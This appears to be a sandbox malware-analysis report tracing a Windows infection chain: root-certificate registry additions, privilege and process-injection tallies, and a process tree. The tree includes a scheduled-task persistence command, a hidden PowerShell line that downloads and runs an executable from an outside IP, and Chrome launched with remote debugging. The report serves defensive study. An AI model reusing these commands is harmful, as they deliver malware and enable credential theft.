b4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	q3na5Mc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	bgUvqLl.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	bgUvqLl.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	rapes.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	rapes.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2992	schtasks.exe
77532	Process not Found
88908	Process not Found

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
2392	powershell.exe
2576	powershell.exe
2616	powershell.exe
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2156	q3na5Mc.exe
1736	bgUvqLl.exe
2156	q3na5Mc.exe
1960	chrome.exe
1960	chrome.exe
1736	bgUvqLl.exe
1736	bgUvqLl.exe
1736	bgUvqLl.exe
1736	bgUvqLl.exe
1768	Y9WG5Ep.exe
1768	Y9WG5Ep.exe
1768	Y9WG5Ep.exe
1768	Y9WG5Ep.exe
1768	Y9WG5Ep.exe
2156	q3na5Mc.exe
1380	57028ffad4.exe
1380	57028ffad4.exe
1380	57028ffad4.exe
1380	57028ffad4.exe
2156	q3na5Mc.exe
2476	E3WGlpL.exe
1272	msiexec.exe
1272	msiexec.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
2880	ScreenConnect.ClientService.exe
29776	Process not Found
29776	Process not Found
29776	Process not Found
29776	Process not Found
76908	Process not Found
76908	Process not Found
76908	Process not Found
87112	Process not Found
87580	Process not Found
88268	Process not Found
89396	Process not Found
89396	Process not Found
89396	Process not Found
105500	Process not Found
106220	Process not Found
130148	Process not Found
130484	Process not Found
130484	Process not Found
130484	Process not Found
130484	Process not Found
130484	Process not Found
151756	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeShutdownPrivilege	1960	chrome.exe
Token: SeDebugPrivilege	1552	67e0HNq.exe
Token: SeShutdownPrivilege	532	msiexec.exe
Token: SeIncreaseQuotaPrivilege	532	msiexec.exe
Token: SeRestorePrivilege	1272	msiexec.exe
Token: SeTakeOwnershipPrivilege	1272	msiexec.exe
Token: SeSecurityPrivilege	1272	msiexec.exe
Token: SeCreateTokenPrivilege	532	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	532	msiexec.exe
Token: SeLockMemoryPrivilege	532	msiexec.exe
Token: SeIncreaseQuotaPrivilege	532	msiexec.exe
Token: SeMachineAccountPrivilege	532	msiexec.exe
Token: SeTcbPrivilege	532	msiexec.exe
Token: SeSecurityPrivilege	532	msiexec.exe
Token: SeTakeOwnershipPrivilege	532	msiexec.exe
Token: SeLoadDriverPrivilege	532	msiexec.exe
Token: SeSystemProfilePrivilege	532	msiexec.exe
Token: SeSystemtimePrivilege	532	msiexec.exe
Token: SeProfSingleProcessPrivilege	532	msiexec.exe
Token: SeIncBasePriorityPrivilege	532	msiexec.exe
Token: SeCreatePagefilePrivilege	532	msiexec.exe
Token: SeCreatePermanentPrivilege	532	msiexec.exe
Token: SeBackupPrivilege	532	msiexec.exe
Token: SeRestorePrivilege	532	msiexec.exe
Token: SeShutdownPrivilege	532	msiexec.exe
Token: SeDebugPrivilege	532	msiexec.exe
Token: SeAuditPrivilege	532	msiexec.exe
Token: SeSystemEnvironmentPrivilege	532	msiexec.exe
Token: SeChangeNotifyPrivilege	532	msiexec.exe
Token: SeRemoteShutdownPrivilege	532	msiexec.exe
Token: SeUndockPrivilege	532	msiexec.exe
Token: SeSyncAgentPrivilege	532	msiexec.exe
Token: SeEnableDelegationPrivilege	532	msiexec.exe
Token: SeManageVolumePrivilege	532	msiexec.exe
Token: SeImpersonatePrivilege	532	msiexec.exe
Token: SeCreateGlobalPrivilege	532	msiexec.exe
Token: SeCreateTokenPrivilege	532	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	532	msiexec.exe
Token: SeLockMemoryPrivilege	532	msiexec.exe
Token: SeIncreaseQuotaPrivilege	532	msiexec.exe
Token: SeMachineAccountPrivilege	532	msiexec.exe
Token: SeTcbPrivilege	532	msiexec.exe
Token: SeSecurityPrivilege	532	msiexec.exe
Token: SeTakeOwnershipPrivilege	532	msiexec.exe
Token: SeLoadDriverPrivilege	532	msiexec.exe
Token: SeSystemProfilePrivilege	532	msiexec.exe
Token: SeSystemtimePrivilege	532	msiexec.exe
Token: SeProfSingleProcessPrivilege	532	msiexec.exe
Token: SeIncBasePriorityPrivilege	532	msiexec.exe

Suspicious use of FindShellTrayWindow 48 IoCs

pid	Process
1708	483d2fa8a0d53818306efeb32d3.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
1960	chrome.exe
532	msiexec.exe
532	msiexec.exe
77232	Process not Found
77232	Process not Found
77232	Process not Found
105500	Process not Found
151756	Process not Found
151756	Process not Found
151756	Process not Found
151756	Process not Found
151756	Process not Found
151756	Process not Found
151756	Process not Found

Suspicious use of SendNotifyMessage 10 IoCs

pid	Process
77232	Process not Found
77232	Process not Found
77232	Process not Found
151756	Process not Found
151756	Process not Found
151756	Process not Found
151756	Process not Found
151756	Process not Found
151756	Process not Found
151756	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2700	2644	cmd.exe	31
PID 2644 wrote to memory of 2700	2644	cmd.exe	31
PID 2644 wrote to memory of 2700	2644	cmd.exe	31
PID 2700 wrote to memory of 2768	2700	cmd.exe	33
PID 2700 wrote to memory of 2768	2700	cmd.exe	33
PID 2700 wrote to memory of 2768	2700	cmd.exe	33
PID 2700 wrote to memory of 2708	2700	cmd.exe	34
PID 2700 wrote to memory of 2708	2700	cmd.exe	34
PID 2700 wrote to memory of 2708	2700	cmd.exe	34
PID 2708 wrote to memory of 2392	2708	cmd.exe	35
PID 2708 wrote to memory of 2392	2708	cmd.exe	35
PID 2708 wrote to memory of 2392	2708	cmd.exe	35
PID 2700 wrote to memory of 2864	2700	cmd.exe	36
PID 2700 wrote to memory of 2864	2700	cmd.exe	36
PID 2700 wrote to memory of 2864	2700	cmd.exe	36
PID 2864 wrote to memory of 2576	2864	cmd.exe	37
PID 2864 wrote to memory of 2576	2864	cmd.exe	37
PID 2864 wrote to memory of 2576	2864	cmd.exe	37
PID 2700 wrote to memory of 2568	2700	cmd.exe	38
PID 2700 wrote to memory of 2568	2700	cmd.exe	38
PID 2700 wrote to memory of 2568	2700	cmd.exe	38
PID 2568 wrote to memory of 2616	2568	cmd.exe	39
PID 2568 wrote to memory of 2616	2568	cmd.exe	39
PID 2568 wrote to memory of 2616	2568	cmd.exe	39
PID 2700 wrote to memory of 2992	2700	cmd.exe	40
PID 2700 wrote to memory of 2992	2700	cmd.exe	40
PID 2700 wrote to memory of 2992	2700	cmd.exe	40
PID 2700 wrote to memory of 1964	2700	cmd.exe	41
PID 2700 wrote to memory of 1964	2700	cmd.exe	41
PID 2700 wrote to memory of 1964	2700	cmd.exe	41
PID 1964 wrote to memory of 2536	1964	mshta.exe	42
PID 1964 wrote to memory of 2536	1964	mshta.exe	42
PID 1964 wrote to memory of 2536	1964	mshta.exe	42
PID 2536 wrote to memory of 1708	2536	powershell.exe	44
PID 2536 wrote to memory of 1708	2536	powershell.exe	44
PID 2536 wrote to memory of 1708	2536	powershell.exe	44
PID 2536 wrote to memory of 1708	2536	powershell.exe	44
PID 1708 wrote to memory of 1284	1708	483d2fa8a0d53818306efeb32d3.exe	45
PID 1708 wrote to memory of 1284	1708	483d2fa8a0d53818306efeb32d3.exe	45
PID 1708 wrote to memory of 1284	1708	483d2fa8a0d53818306efeb32d3.exe	45
PID 1708 wrote to memory of 1284	1708	483d2fa8a0d53818306efeb32d3.exe	45
PID 1284 wrote to memory of 2092	1284	rapes.exe	47
PID 1284 wrote to memory of 2092	1284	rapes.exe	47
PID 1284 wrote to memory of 2092	1284	rapes.exe	47
PID 1284 wrote to memory of 2092	1284	rapes.exe	47
PID 2092 wrote to memory of 2388	2092	q3na5Mc.exe	48
PID 2092 wrote to memory of 2388	2092	q3na5Mc.exe	48
PID 2092 wrote to memory of 2388	2092	q3na5Mc.exe	48
PID 2092 wrote to memory of 2388	2092	q3na5Mc.exe	48
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 2156	2092	q3na5Mc.exe	49
PID 2092 wrote to memory of 1080	2092	q3na5Mc.exe	50
PID 2092 wrote to memory of 1080	2092	q3na5Mc.exe	50

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\quarantine\am_no.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\quarantine\am_no.bat" any_word
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\timeout.exe
    timeout /t 2
    3⤵
    - Delays execution with timeout.exe
    PID:2768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2616
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "d93aVmafZtV" /tr "mshta \"C:\Temp\2fJgGTIv1.hta\"" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2992
- - C:\Windows\system32\mshta.exe
    mshta "C:\Temp\2fJgGTIv1.hta"
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:1964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2536
    - - C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:1708
      - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        6⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        Suspicious use of WriteProcessMemory
        
        PID:1284
        
        C:\Users\Admin\AppData\Local\Temp\10000300101\q3na5Mc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10000300101\q3na5Mc.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2092
        
        C:\Users\Admin\AppData\Local\Temp\10000300101\q3na5Mc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10000300101\q3na5Mc.exe"
        8⤵
        Executes dropped EXE
        
        PID:2388
        
        C:\Users\Admin\AppData\Local\Temp\10000300101\q3na5Mc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10000300101\q3na5Mc.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:2156
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        9⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:1960
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7829758,0x7fef7829768,0x7fef7829778
        10⤵
        
        PID:2484
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        10⤵
        
        PID:1732
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1112 --field-trial-handle=1368,i,16591011724913026818,8800948318193845533,131072 /prefetch:2
        10⤵
        
        PID:2900
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1524 --field-trial-handle=1368,i,16591011724913026818,8800948318193845533,131072 /prefetch:8
        10⤵
        
        PID:1672
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1596 --field-trial-handle=1368,i,16591011724913026818,8800948318193845533,131072 /prefetch:8
        10⤵
        
        PID:1492
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2224 --field-trial-handle=1368,i,16591011724913026818,8800948318193845533,131072 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:2680
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2160 --field-trial-handle=1368,i,16591011724913026818,8800948318193845533,131072 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:1600
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1416 --field-trial-handle=1368,i,16591011724913026818,8800948318193845533,131072 /prefetch:2
        10⤵
        
        PID:1968
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1384 --field-trial-handle=1368,i,16591011724913026818,8800948318193845533,131072 /prefetch:1
        10⤵
        Uses browser remote debugging
        
        PID:2536
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3348 --field-trial-handle=1368,i,16591011724913026818,8800948318193845533,131072 /prefetch:8
        10⤵
        
        PID:324
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3604 --field-trial-handle=1368,i,16591011724913026818,8800948318193845533,131072 /prefetch:8
        10⤵
        
        PID:532
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3492 --field-trial-handle=1368,i,16591011724913026818,8800948318193845533,131072 /prefetch:8
        10⤵
        
        PID:2568
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\hdj5f" & exit
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2644
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 11
        10⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3000
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2092 -s 512
        8⤵
        Loads dropped DLL
        Program crash
        
        PID:1080
        
        C:\Users\Admin\AppData\Local\Temp\10000540101\bgUvqLl.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10000540101\bgUvqLl.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:1736
        
        C:\Users\Admin\AppData\Local\Temp\10000650101\Y9WG5Ep.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10000650101\Y9WG5Ep.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1768
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\57028ffad4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\57028ffad4.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:848
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\57028ffad4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\57028ffad4.exe"
        8⤵
        Executes dropped EXE
